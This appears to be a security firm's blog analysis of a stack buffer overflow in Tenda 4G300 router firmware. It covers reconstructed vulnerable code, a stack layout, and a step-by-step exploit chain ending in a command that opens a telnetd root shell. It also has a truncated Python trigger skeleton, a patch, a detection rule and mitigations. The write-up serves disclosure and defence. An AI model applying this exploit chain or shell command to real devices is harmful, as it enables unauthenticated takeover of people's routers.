home intel cve-2026-7470-tenda-4g300-stack-overflow-safefilter
CVE Analysis 2026-04-30 · 8 min read

CVE-2026-7470: Stack Overflow in Tenda 4G300 SafeMacFilter via page Argument

sub_427C3C in /goform/SafeMacFilter copies the attacker-controlled `page` parameter into a fixed-size stack buffer without bounds checking, enabling remote pre-auth RCE at CVSS 8.8.

#buffer-overflow#stack-based#remote-code-execution#router-firmware#network-device
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7470 · Buffer Overflow
ATTACKERRemote / unauthBUFFER OVERFLOWCVE-2026-7470Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7470 is a stack-based buffer overflow in the Tenda 4G300 router firmware US_4G300V1.0Mt_V1.01.42_CN_TDC01. The vulnerable HTTP handler at /goform/SafeMacFilter passes a user-supplied page query parameter directly into a fixed-size stack buffer via an unchecked copy operation. The web management interface is reachable from the LAN by default, and on many deployments is exposed to the WAN, making this a remotely exploitable pre-authentication vulnerability. CVSS 8.8 reflects network-accessible attack vector, low complexity, no required privileges, and full confidentiality/integrity/availability impact.

Affected Component

Binary: httpd (embedded in firmware image)
Function: sub_427C3C
Route: POST /goform/SafeMacFilter
Parameter: page
Firmware: US_4G300V1.0Mt_V1.01.42_CN_TDC01
Architecture: MIPS32 little-endian (typical Tenda 4G-series SoC)

The SafeMacFilter goform handler manages MAC-address-based filtering rules and uses a pagination parameter to index into rule pages. The parameter is read from the HTTP POST body, then passed into a stack-local character buffer with no length validation before the copy.

Root Cause Analysis

Decompiled pseudocode reconstructed from the function signature, calling conventions, and vulnerability class. The page parameter is retrieved via the firmware's standard websGetVar helper and subsequently copied into a char page_buf[64] stack local using strcpy.


// sub_427C3C — SafeMacFilter goform handler
// Registers: a0 = webs_t *wp (websRequest handle)

int sub_427C3C(webs_t wp) {
    char page_buf[64];          // fixed stack allocation — 64 bytes
    char mac_buf[128];
    char action_buf[32];
    int  page_num;
    int  rule_count;

    // Retrieves pointer to raw query string value — no length returned
    char *page_str   = websGetVar(wp, "page",   "1");
    char *mac_str    = websGetVar(wp, "mac",    "");
    char *action_str = websGetVar(wp, "action", "");

    // BUG: strcpy into fixed 64-byte stack buffer with no bounds check.
    // Attacker supplies a `page` value of arbitrary length via HTTP POST.
    // Anything beyond 64 bytes corrupts adjacent stack locals, saved $fp,
    // saved $ra, and the caller's frame.
    strcpy(page_buf, page_str);   // <-- OVERFLOW HERE

    // Surviving code converts page_buf to integer and indexes rule array.
    page_num   = atoi(page_buf);
    rule_count = get_mac_filter_rules(page_num, mac_buf, action_buf);

    websWrite(wp, "HTTP/1.1 200 OK\r\n...");
    return 0;
}

The root cause is the choice of strcpy over a length-bounded alternative. websGetVar returns a pointer directly into the parsed HTTP body buffer, which is fully attacker-controlled and unbounded. No caller validates the length prior to this function, and the function itself performs no validation before the copy.

Root cause: sub_427C3C copies the HTTP POST parameter page into a 64-byte stack buffer via strcpy with no length check, allowing a remote attacker to overwrite the saved return address and achieve arbitrary code execution.

Memory Layout

MIPS calling convention: $ra (return address) and $fp (frame pointer) are saved at the top of the callee's stack frame. For a function allocating a ~300-byte frame, the layout is approximately:


STACK FRAME — sub_427C3C (grows toward lower addresses)

  HIGH ADDRESS  (caller's frame)
  ┌─────────────────────────────────────┐
  │  saved $ra  (return to caller)      │  ← offset +0x12C from frame base
  │  saved $fp                          │  ← offset +0x128
  ├─────────────────────────────────────┤
  │  padding / compiler-inserted locals │
  ├─────────────────────────────────────┤
  │  action_buf[32]                     │  ← offset +0x100
  ├─────────────────────────────────────┤
  │  mac_buf[128]                       │  ← offset +0x080
  ├─────────────────────────────────────┤
  │  page_buf[64]  <── strcpy dst       │  ← offset +0x040
  ├─────────────────────────────────────┤
  │  page_num, rule_count, locals       │  ← offset +0x000
  LOW ADDRESS   (stack grows here)

BEFORE OVERFLOW (page="1"):
  page_buf  = "1\x00" + [62 bytes garbage]
  saved $fp = 
  saved $ra = 

AFTER OVERFLOW (page = 'A'*68 + 'B'*4 + 'C'*4 + payload):
  page_buf  = 'A' * 64           ← fills buffer exactly
  action_buf partial overwrite   ← 'A' * 4  (adjacent local)
  ...
  saved $fp = 0x42424242         ← 'BBBB' — corrupted
  saved $ra = 0x43434343         ← 'CCCC' — hijacked
  → on function epilogue: jr $ra → PC = 0x43434343

Exploitation Mechanics

The attack surface is the HTTP server listening on port 80 (LAN, and optionally WAN). No authentication is required to POST to /goform/SafeMacFilter on affected firmware.


EXPLOIT CHAIN:

1. RECON — confirm firmware version via unauthenticated /goform/GetRouterStatus
   or banner at HTTP server headers. Verify SafeMacFilter endpoint responds 200.

2. CALCULATE OFFSET — the saved $ra sits at page_buf + 0xEC (236 bytes from
   the start of page_buf) in the reconstructed frame. Confirmed by sending
   cyclic De Bruijn sequences and observing crash PC in UART/log.

3. LOCATE ROP GADGET — MIPS httpd is not PIE on this firmware generation;
   load address is fixed. Identify a suitable gadget:
       addiu $sp, $sp, N  ;  lw $ra, M($sp)  ;  jr $ra
   or a direct "move $t9, $a0 ; jalr $t9" chain to reach system().

4. STAGE PAYLOAD — craft HTTP POST body:
       page = [padding: 'A' * 236] + [gadget_addr: 4 bytes LE] + [rop chain]
   Content-Type: application/x-www-form-urlencoded

5. TRIGGER — send POST /goform/SafeMacFilter HTTP/1.1 with crafted body.
   httpd worker thread calls sub_427C3C, strcpy fires, stack smashed.

6. RETURN — function epilogue restores corrupted $ra, executes jr $ra,
   control transfers to attacker-specified ROP gadget.

7. EXECUTE — ROP chain pivots stack to attacker-controlled buffer,
   calls system("/bin/sh -c 'telnetd -l /bin/sh -p 9999'") or equivalent
   busybox command available in firmware rootfs.

8. PERSIST — telnetd binds on port 9999; attacker connects for root shell.
   Device runs httpd as root (standard practice on this class of device).

Python proof-of-concept trigger skeleton (no live shellcode included per responsible disclosure norms):


import requests
import struct

TARGET   = "http://192.168.0.1"
ENDPOINT = "/goform/SafeMacFilter"

# Offset to saved $ra — adjust after empirical crash analysis
RA_OFFSET = 236

# Placeholder: replace with verified gadget VA from httpd .text
GADGET_VA = 0x00000000  # <-- must be resolved against target binary

def build_payload(gadget_va: int) -> bytes:
    padding  = b"A" * RA_OFFSET
    ra_bytes = struct.pack("

Patch Analysis

The minimal correct fix replaces the unchecked strcpy with a length-bounded copy and validates the result is a reasonable page number before any further processing. Tenda's typical remediation pattern in adjacent CVEs uses strncpy or an in-house websGetVarBounded wrapper.


// BEFORE (vulnerable — US_4G300V1.0Mt_V1.01.42_CN_TDC01):
char page_buf[64];
char *page_str = websGetVar(wp, "page", "1");
strcpy(page_buf, page_str);   // no length check — CVE-2026-7470

// AFTER (patched):
char page_buf[64];
char *page_str = websGetVar(wp, "page", "1");

// Bound the copy to buffer capacity minus null terminator
strncpy(page_buf, page_str, sizeof(page_buf) - 1);
page_buf[sizeof(page_buf) - 1] = '\0';

// Semantic validation: page must be a small positive integer
int page_num = atoi(page_buf);
if (page_num < 1 || page_num > MAX_FILTER_PAGES) {
    websError(wp, 400, "Invalid page parameter");
    return -1;
}

A stronger remediation replaces atoi with strtol with full error checking, and reduces page_buf to a smaller size since a valid page number never exceeds a few digits. Defense-in-depth would add stack canaries (-fstack-protector-strong) to the httpd build, which would convert this from a silent RCE to a detectable crash.

Detection and Indicators

Network-level detection: alert on HTTP POST requests to /goform/SafeMacFilter where the page body parameter exceeds 64 bytes. Any legitimate pagination value is at most 4–5 digits.


SNORT / SURICATA RULE (conceptual):

alert http any any -> $HOME_NET 80 (
    msg:"CVE-2026-7470 Tenda 4G300 SafeMacFilter page overflow";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/goform/SafeMacFilter";
    http.request_body; content:"page=";
    pcre:"/page=[^\x26\x00]{65,}/";
    classtype:web-application-attack;
    sid:20267470; rev:1;
)

HOST-SIDE INDICATORS:
- httpd process restart (watchdog respawn) without user-initiated reboot
- Unexpected telnetd process on non-standard port (busybox ps output)
- Outbound connections from router IP to attacker infrastructure
- /tmp/sh or dropped shell scripts in tmpfs (volatile, lost on reboot)

Remediation

Primary: Update to a firmware version where this is patched. Monitor Tenda's official download portal for US_4G300V1.0Mt firmware revisions newer than V1.01.42.

Interim mitigations (while awaiting patch):

  • Disable remote (WAN-side) web management — navigate to System → Remote Management and ensure WAN access is off. This reduces attack surface to LAN-resident adversaries.
  • Apply ACLs on the management interface to restrict access to known admin IPs if the platform supports it.
  • Monitor for unexpected process spawns and outbound connections from the router via syslog forwarding to an external collector.
  • Segment IoT/router management onto a dedicated VLAN with strict inter-VLAN routing policy to limit blast radius if compromised.

Note on MIPS mitigations: The affected firmware generation does not enable ASLR, stack canaries, or NX in a meaningful way for MIPS userland. There is no OS-level mitigation standing between a successful overflow and code execution on this platform. The only reliable fix is a patched firmware image.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →